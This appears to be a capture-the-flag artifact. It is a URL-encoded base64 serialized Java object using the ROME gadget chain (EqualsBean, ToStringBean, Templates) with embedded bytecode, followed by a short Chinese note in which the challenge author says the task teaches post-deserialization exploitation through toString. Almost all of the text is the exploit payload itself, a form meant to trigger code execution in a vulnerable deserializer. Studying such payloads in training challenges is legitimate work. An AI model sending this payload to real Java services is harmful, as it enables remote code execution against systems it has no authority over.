CsEtgAMLAS2AAwtBLYADBkEBLYADbgADrYAD8AAEDoFKxkFtgARuQASAQC2ABPAAAU6BiwZBrYAE8AAFDoHGQe2ABU6CAM2CRUJGQi%2bogGDBxkIFQkytgAWtgAXoAFuGQgVCTK2ABg6ChkKwQAZmQFiEgm2ABo6CwM2DBUMGQu%2bogFHEDQZCxUMMrYAG7YAF58AExA8GQsVDDK2ABu2ABegASEZCxUMMhIctgAEOg0SHRIetgAEOg4ZDQS2AAwZDgS2AAwZDRkEGQoBtgAftgATwAAdOg8ZDhkPtgATwAAgOhADNhEVERkQuQAhAQCiANAtGRAVEbkAIgIAtgATwAAjOhIZEhIktgAlOhMZEgS2ACbAACc6FBIouAAptgAqEiu2ACyaABkGvQAtWQMSLlNZBBIvU1kFGRNTpwAWBr0ALVkDEjBTWQQSMVNZBRkTUzoVuAAyGRW2ADO2ADQ6FrsANVkZFrcANhI3tgA4OhcZF7YAOZkACxkXtgA6pwAFEjs6GBkUtgA8tgA9OhkZFLYAPLYAPhI/tgAEOhoZGgS2AAwZGhkUtgA8sgBAtgBBGRkZGLYAQhkZtgBDpwADpwAJhAwBp/63pwAJhAkBp/57pwAETLEAAQAEAfYB%2bQBEAAMASgAAAMIAMAAAAAoABAAMAAwADQAUAA4AHAAPACYAEAArABEAMAASADUAEwA7ABUARgAWAFkAFwBkABgAawAZAHYAGgCFABsAjwAcAJcAHQCeAB4AqQAfAMkAIADVACEA3gAiAOQAIwDqACQA/AAlAQgAJgEXACcBKQAoATIAKQE9ACoBeAArAYUALAGVAC0BqQAuAbMALwHCADAByAAxAdUAMgHcADMB4QA0AeQANgHnAB4B7QA5AfAAGQH2AD4B%2bQA9AfoAPwBLAAABEAAbASkAuwBMAE0AEgEyALIATgBPABMBPQCnAFAAUQAUAXgAbABSAFMAFQGFAF8AVABVABYBlQBPAFYAVwAXAakAOwBYAE8AGAGzADEAWQBaABkBwgAiAFsAXAAaAQsA2QBdAF4AEQDVARIAXwBcAA0A3gEJAGAAXAAOAPwA6wBhAGIADwEIAN8AYwBkABAAoQFMAGUAXgAMAJ4BTwBmAGcACwCPAWEAaABpAAoAbgGIAGoAXgAJAAwB6gBrAFwAAQAUAeIAbABcAAIAHAHaAG0AXAADACYB0ABuAG8ABABGAbAAcABxAAUAWQGdAHIAcwAGAGQBkgB0AHUABwBrAYsAdgB3AAgAAAH7AHgAeQAAAHoAAAD8AA//AG4ACgcAewcAfAcAfAcAfAcAfQcAfgcAfwcAgAcAgQEAAP4AMgcAggcAgwEn/wBBABIHAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQcAfAcAfAcAhAcAhQEAAP4AVwcAhgcAhwcAiFIHAIn%2bAC4HAIkHAIoHAItBBwCH/wA8ABEHAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQcAfAcAfAcAhAcAhQAA/wACAA0HAHsHAHwHAHwHAHwHAH0HAH4HAH8HAIAHAIEBBwCCBwCDAQAA%2bQAF%2bgAC/wAFAAEHAHsAAEIHAIwAAAEAjQCOAAMASQAAAD8AAAADAAAAAbEAAAACAEoAAAAGAAEAAABCAEsAAAAgAAMAAAABAHgAeQAAAAAAAQCPAJAAAQAAAAEAkQCSAAIAkwAAAAQAAQCUAJUAAAAJAgCPAAAAkQAAAAEAjQCWAAMASQAAAEkAAAAEAAAAAbEAAAACAEoAAAAGAAEAAABFAEsAAAAqAAQAAAABAHgAeQAAAAAAAQCPAJAAAQAAAAEAlwCYAAIAAAABAJkAmgADAJMAAAAEAAEAlACVAAAADQMAjwAAAJcAAACZAAAAAQCbAAAAAgCccHQABG5hbWVwdwEAeHNyAChjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5FcXVhbHNCZWFu9YoYu%2bX2GBECAAJMAApfYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAARfb2JqcQB%2bAAd4cHZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHBxAH4AEHNyACpjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5Ub1N0cmluZ0JlYW4J9Y5KDyPuMQIAAkwACl9iZWFuQ2xhc3NxAH4AF0wABF9vYmpxAH4AB3hwcQB%2bABpxAH4AEA%3d%3d出题人:想让大家了解一下反序列化之后的利用,所以写了一个toString,类似于idea的debug也存在这个问题。